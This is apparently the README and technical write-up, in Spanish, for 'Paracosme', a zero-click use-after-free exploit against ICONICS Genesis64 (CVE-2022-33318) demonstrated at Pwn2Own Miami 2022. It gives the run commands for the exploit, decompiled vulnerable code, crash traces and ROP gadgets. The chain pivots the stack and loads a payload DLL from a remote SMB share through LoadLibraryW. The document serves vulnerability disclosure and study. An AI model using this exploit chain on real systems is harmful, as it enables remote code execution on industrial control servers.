
Paracosme is a zero-click remote memory corruption exploit that compromises ICONICS Genesis64 which was demonstrated successfully on stage during the Pwn2Own Miami 2022 competition.
Paracosme es un exploit de corrupción de memoria que escribí para atacar la suite Genesis64 v10.97.1 creada por ICONICS y lograr la ejecución remota de código.
El exploit se demostró durante el concurso Pwn2Own 2022 Miami que tuvo lugar en la Conferencia S4x22. Puedes leer más al respecto en Compitiendo en Pwn2Own ICS 2022 Miami: Explotando una corrupción de memoria remota zero-click en ICONICS Genesis64.
El problema obtuvo una puntuación de 9.8 en CVSS y se le asignó CVE-2022-33318 / ZDI-22-1041. Se corrigió en Genesis64 10.97.2. También puedes leer el aviso ICSA-22-202-04, así como el documento técnico de ICONICS sobre las vulnerabilidades de seguridad de ICONICS Suite.
Puedes encontrar el código del exploit en src/paracosme.py, un PoC para provocar el crash / verificar si estás afectado en src/paracosme-poc.py, y el payload que se ejecuta en la máquina en src/payload.
La mejor manera de saber si estás afectado es activar Page Heap para GenBroker64.exe, reiniciar el servicio, adjuntar un depurador a GenBroker64.exe, ejecutar paracosme-poc.py contra tu servidor y deberías ver crashes como los siguientes:
Necesitas adjuntar un depurador al proceso objetivo para presenciar el crash; de lo contrario, la aplicación lo ignora.
El exploit solo se ha probado en Windows, pero también debería funcionar en plataformas Linux:
impacket con: pip3 install impacketsc config lanmanserver start=disabled y reiniciasmbserver.py (parte de los ejemplos de impacket) con: python src\smbserver.py -smb2support x binpython src\paracosme.py --target <ip>
Para más detalles, consulta Compitiendo en Pwn2Own ICS 2022 Miami: Explotando una corrupción de memoria remota zero-click en ICONICS Genesis64.
Paracosme explota un problema de use-after-free encontrado en el proceso GenBroker64 para lograr la ejecución remota de código en un sistema Windows 21H2 x64.
A grandes rasgos, el proceso GenBroker64 escucha en el puerto TCP 38080 y es capaz de deserializar varios paquetes después de que se haya realizado un handshake con un cliente. El problema que encontré está en el código que se encarga de leer un VARIANT desde el socket de red. Básicamente, un variant es un tipo y un valor. La función parece bien escrita a primera vista y se esfuerza por desempaquetar solo ciertos tipos. Así es como se ve:
bool CheckVariantType(VARTYPE VarType) {
if((VarType & 0x2FFF) != VarType) {
return false;
}
switch(VarType & 0xFFF) {
case VT_EMPTY:
case VT_NULL:
case VT_I2:
case VT_I4:
case VT_R4:
case VT_R8:
case VT_CY:
case VT_DATE:
case VT_BSTR:
case VT_ERROR:
case VT_BOOL:
case VT_VARIANT:
case VT_I1:
case VT_UI1:
case VT_UI2:
case VT_UI4:
case VT_I8:
case VT_UI8:
case VT_INT:
case VT_UINT:
case VT_HRESULT:
case VT_FILETIME:
return true;
break;
default:
return false;
}
}
size_t VariantTypeToSize(VARTYPE VarType) {
switch(VarType) {
case VT_I1: return 1;
case VT_UI2: return 2;
case VT_UI4:
case VT_INT:
case VT_UINT:
case VT_HRESULT:
return 4;
case VT_I8:
case VT_UI8:
case VT_FILETIME:
return 8;
default:
return 0;
}
}
void Utils::ReadVariant(tagVARIANT *Variant, Archive_t *Archive, int Level) {
TRY {
return ReadVariant_((CArchive *)Archive, (COleVariant *)Variant);
} CATCH_ALL(e) {
VariantClear(Variant);
}
}
HRESULT Utils::ReadVariant_(tagVARIANT *Variant, Archive_t *Archive, int Level) {
VARTYPE VarType = Archive.ReadUint16();
if((VarType & VT_ARRAY) != 0) {
// Special logic to unpack arrays..
return ..;
}
Size = VariantTypeToSize(VarType);
if (Size) {
Variant->vt = VarType;
return Archive.ReadInto(&Variant->decVal.8, Size);
}
if(!CheckVariantType(VarType)) {
// ...
throw Something();
}
return Archive >> Variant;
}
La función implementa por sí misma el desempaquetado de arrays, así como la lectura de tipos variant simples, pero si recibe algo que no es ninguno de esos dos, recae en el operator>> de la instancia del archive. Esta instancia de archive es un objeto proporcionado por el framework Microsoft Foundation Class que maneja la serialización y deserialización de varios objetos. Este código es en realidad de código abierto y puedes encontrarlo en C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\VC\Tools\MSVC\14.29.30133\atlmfc\src\mfc\olevar.cpp, pero aquí está:
CArchive& AFXAPI operator>>(CArchive& ar, COleVariant& varSrc) {
LPVARIANT pSrc = &varSrc;
// ...
switch(pSrc->vt) {
// ...
case VT_DISPATCH:
case VT_UNKNOWN: {
LPPERSISTSTREAM pPersistStream = NULL;
CArchiveStream stm(&ar);
CLSID clsid;
ar >> clsid.Data1;
ar >> clsid.Data2;
ar >> clsid.Data3;
ar.EnsureRead(&clsid.Data4[0], sizeof clsid.Data4);
SCODE sc = CoCreateInstance(clsid, NULL,
CLSCTX_ALL | CLSCTX_REMOTE_SERVER,
pSrc->vt == VT_UNKNOWN ? IID_IUnknown : IID_IDispatch,
(void**)&pSrc->punkVal);
if(sc == E_INVALIDARG) {
sc = CoCreateInstance(clsid, NULL,
CLSCTX_ALL & ~CLSCTX_REMOTE_SERVER,
pSrc->vt == VT_UNKNOWN ? IID_IUnknown : IID_IDispatch,
(void**)&pSrc->punkVal);
}
AfxCheckError(sc);
TRY {
sc = pSrc->punkVal->QueryInterface(
IID_IPersistStream, (void**)&pPersistStream);
if(FAILED(sc)) {
sc = pSrc->punkVal->QueryInterface(
IID_IPersistStreamInit, (void**)&pPersistStream);
}
AfxCheckError(sc);
AfxCheckError(pPersistStream->Load(&stm));
} CATCH_ALL(e) {
if(pPersistStream != NULL) {
pPersistStream->Release();
}
pSrc->punkVal->Release();
THROW_LAST();
}
END_CATCH_ALL
pPersistStream->Release();
}
return ar;
}
}
La función es bastante aburrida porque también tiene lógica para desempaquetar tipos triviales, pero lo que me llamó la atención fue VT_DISPATCH / VT_UNKNOWN.
¿Qué demonios? Puedes enviar un ID de clase de un objeto COM arbitrario que implemente IPersistStream o IPersistStreamInit y lo cargará invocando IPersistream::Load para inicializar el objeto. Aunque esto es sorprendente y es una característica extraña, no lo encontré realmente interesante desde el punto de vista de la seguridad porque necesitaría encontrar otro bug en un objeto COM disponible en Windows 10 estándar.
Ahora, veamos más de cerca el siguiente código:
SCODE sc = CoCreateInstance(clsid, NULL,
CLSCTX_ALL | CLSCTX_REMOTE_SERVER,
pSrc->vt == VT_UNKNOWN ? IID_IUnknown : IID_IDispatch,
(void**)&pSrc->punkVal); <-------------- [[0]]
if(sc == E_INVALIDARG) {
sc = CoCreateInstance(clsid, NULL,
CLSCTX_ALL & ~CLSCTX_REMOTE_SERVER,
pSrc->vt == VT_UNKNOWN ? IID_IUnknown : IID_IDispatch,
(void**)&pSrc->punkVal);
}
AfxCheckError(sc);
TRY {
sc = pSrc->punkVal->QueryInterface(
IID_IPersistStream, (void**)&pPersistStream);
if(FAILED(sc)) {
sc = pSrc->punkVal->QueryInterface(
IID_IPersistStreamInit, (void**)&pPersistStream);
}
AfxCheckError(sc);
AfxCheckError(pPersistStream->Load(&stm));
} CATCH_ALL(e) {
if(pPersistStream != NULL) {
pPersistStream->Release();
}
pSrc->punkVal->Release();
THROW_LAST();
}
La llamada a CoCreateInstance escribe el puntero de la instancia COM directamente en pSrc->punkVal, que es el variant resultante almacenado en un llamador varios frames más arriba. Luego, si IStreamPersist::Load desencadena una excepción, esta se captura y se llama a IUnknown::Release tanto en la interfaz IUnknown como en la IPersistStream, lo que libera el objeto COM dejando pSrc->punkVal colgando (dangling). El otro punto interesante es que, después de hacer eso, el bloque catch relanza la excepción, que es capturada por el siguiente código:
void Utils::ReadVariant(tagVARIANT *Variant, Archive_t *Archive, int Level) {
TRY {
return ReadVariant_((CArchive *)Archive, (COleVariant *)Variant);
} CATCH_ALL(e) {
VariantClear(Variant);
}
}
En esta etapa, el variant ya se ha liberado, pero su tipo y valor no se han actualizado / cambiado, por lo que esta llamada a VariantClear desencadena un segundo IUnknown::Release, que produce el siguiente crash:
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
OLEAUT32!VarWeekdayName+0x22468:
00007ffa`e620c7f8 488b01 mov rax,qword ptr [rcx] ds:00000000`2e5a2fd0=????????????????
0:006> kp
# Child-SP RetAddr Call Site
00 00000000`093bad20 00007ffa`e620cb31 OLEAUT32!VarWeekdayName+0x22468
01 00000000`093bad50 00000001`4000c20a OLEAUT32!VariantClear+0x21
02 00000000`093bad80 00007ffa`ccfa10ea GenBroker64+0xc20a
03 00000000`093badb0 00007ffa`ccfa2ca6 VCRUNTIME140_1+0x10ea
04 00000000`093bade0 00007ffa`ccfa3ae5 VCRUNTIME140_1!_NLG_Return2+0x1b56
05 00000000`093baf10 00007ffa`ccfa2258 VCRUNTIME140_1!_NLG_Return2+0x2995
06 00000000`093baf40 00007ffa`ccfa40e9 VCRUNTIME140_1!_NLG_Return2+0x1108
07 00000000`093bafe0 00007ffa`e6ce121f VCRUNTIME140_1!_CxxFrameHandler4+0xa9
08 00000000`093bb050 00007ffa`e6c5d9c2 ntdll!_chkstk+0x19f
09 00000000`093bb080 00007ffa`ccfa3d82 ntdll!RtlUnwindEx+0x522
0a 00000000`093bb790 00007ffa`ccfa1635 VCRUNTIME140_1!_NLG_Return2+0x2c32
0b 00000000`093bb880 00007ffa`ccfa19e6 VCRUNTIME140_1!_NLG_Return2+0x4e5
0c 00000000`093bb920 00007ffa`ccfa232b VCRUNTIME140_1!_NLG_Return2+0x896
0d 00000000`093bbaf0 00007ffa`ccfa40e9 VCRUNTIME140_1!_NLG_Return2+0x11db
0e 00000000`093bbb90 00007ffa`e6ce119f VCRUNTIME140_1!_CxxFrameHandler4+0xa9
0f 00000000`093bbc00 00007ffa`e6caa229 ntdll!_chkstk+0x11f
10 00000000`093bbc30 00007ffa`e6cdfe0e ntdll!RtlRaiseException+0x399
11 00000000`093bc340 00007ffa`e439a839 ntdll!KiUserExceptionDispatcher+0x2e
12 00000000`093bd080 00007ffa`ccfa2753 KERNELBASE!RaiseException+0x69
13 00000000`093bd160 00007ffa`e6ce05e6 VCRUNTIME140_1!_NLG_Return2+0x1603
14 00000000`093bd240 00007ffa`ccc1ab24 ntdll!RtlCaptureContext+0x566
15 00000000`093bf980 00000001`4001c574 mfc140u+0x27ab24
16 00000000`093bfa20 00000001`40023241 GenBroker64+0x1c574
17 00000000`093bfae0 00000001`40025fdc GenBroker64+0x23241
18 00000000`093bfb40 00000001`4008afee GenBroker64+0x25fdc
19 00000000`093bfb80 00000001`4008a499 GenBroker64+0x8afee
1a 00000000`093bfc80 00000001`400858bd GenBroker64+0x8a499
1b 00000000`093bfda0 00000001`400860a9 GenBroker64+0x858bd
1c 00000000`093bfe20 00007ffa`e5187bd4 GenBroker64+0x860a9
1d 00000000`093bff30 00007ffa`e6cace71 KERNEL32!BaseThreadInitThunk+0x14
1e 00000000`093bff60 00000000`00000000 ntdll!RtlUserThreadStart+0x21
¡Guau, bastante impresionante! Podemos provocar lo anterior instanciando un objeto COM que implemente IPersistStream y haciendo que lance una excepción cuando se invoca Load. Puedes encontrar el código desencadenante en paracosme-poc.py, que debería provocar el crash del proceso GenBroker64.exe en el objetivo. También puedes habilitar page heap en GenBroker64.exe para obtener un crash al instante.
Cuando se llama a VariantClear sobre el variant, se despacha una llamada virtual al método Release para liberarlo. Como es una llamada virtual, la función lee una vtable y toma un puntero a función en un desplazamiento fijo y lo invoca. Antes de que esto suceda, hacemos una carrera contra el hilo para reclamar la instancia de ole32!CFileMoniker y reemplazarla con datos controlados (ver RacerThread_t). Como resultado, controlamos el puntero de la vtable y estamos a una instrucción de secuestrar RIP. A continuación se muestra la instrucción ensambladora correspondiente, donde @rcx apunta al chunk sobre el que tenemos control total:
0:011> u . l3
OLEAUT32!VariantClear+0x20b:
00007ffb`0df751cb mov rax,qword ptr [rcx]
00007ffb`0df751ce mov rax,qword ptr [rax+10h]
00007ffb`0df751d2 call qword ptr [00007ffb`0df82660]
0:011> u poi(00007ffb`0df82660)
OLEAUT32!SetErrorInfo+0xec0:
00007ffb`0deffd40 jmp rax
Debido a que tenemos control total sobre el chunk reclamado, controlamos @rax. Para secuestrar el flujo de control, necesitamos establecer @rax a un puntero al valor con el que queremos secuestrar @rip. El gran problema aquí es ASLR y no tenemos una divulgación de información.
Afortunadamente para nosotros, el módulo GenBroker64.exe no tiene una base dinámica, lo que significa que podemos usarlo para encontrar una ubicación que apunte a un gadget interesante para comenzar nuestra cadena.
0:012> !dh genbroker64
File Type: EXECUTABLE IMAGE
FILE HEADER VALUES
8664 machine (X64)
7 number of sections
616D3B07 time date stamp Mon Oct 18 02:14:47 2021
0 file pointer to symbol table
0 number of symbols
F0 size of optional header
22 characteristics
Executable
App can handle >2gb addresses
OPTIONAL HEADER VALUES
High entropy VA supported
NX compatible
Terminal server aware
El primer gadget que se usa es un gadget que nos permite controlar completamente @rip (sin ninguna indirección):
0:011> u poi(1400aed18)
00007ffb2137ffe0 sub rsp,38h
00007ffb2137ffe4 test rcx,rcx
00007ffb2137ffe7 je 00007ffb`21380015
00007ffb2137ffe9 cmp qword ptr [rcx+10h],0
00007ffb2137ffee jne 00007ffb`2137fff4
...
00007ffb2137fff4 and qword ptr [rsp+40h],0
00007ffb2137fffa mov rax,qword ptr [rcx+10h]
00007ffb2137fffe call qword ptr [mfc140u!__guard_dispatch_icall_fptr (00007ffb`21415b60)]
Podemos colocar la dirección del siguiente gadget en el desplazamiento +0x10 del chunk que reclamamos (apuntado por @rcx), lo cual es genial.
El segundo gadget que usamos pivota la pila hacia el chunk del heap reclamado sobre el que tenemos control total:
0:008> u 14005bd25
000000014005bd25 mov esp,ecx
000000014005bd27 cmp byte ptr [1400fe788],0
000000014005bd2e je 000000014005bebc
...
000000014005bebc lea r11,[rsp+60h]
000000014005bec1 mov rbx,qword ptr [r11+30h]
000000014005bec5 mov rbp,qword ptr [r11+38h]
000000014005bec9 mov rsi,qword ptr [r11+40h]
000000014005becd mov rsp,r11
000000014005bed0 pop r15
000000014005bed2 pop r14
000000014005bed4 pop r13
000000014005bed6 pop r12
000000014005bed8 pop rdi
000000014005bed9 ret
Lo curioso es que la dirección de nuestro chunk del heap parece estar ubicada (¿siempre?) en una dirección que cabe en un entero de 32 bits, y por eso mov esp, ecx funciona bien.
En este punto tenemos ROP, pero no tenemos mucho espacio, lo que fue bastante frustrante. Pasé mucho tiempo tratando de alinear los astros y finalmente se me ocurrió una secuencia de gadgets que invoca LoadLibraryW con una ruta SMB remota que apunta a un archivo DLL que aloja nuestro payload. Si estás interesado en los detalles de la cadena, mira paracosme.py@241.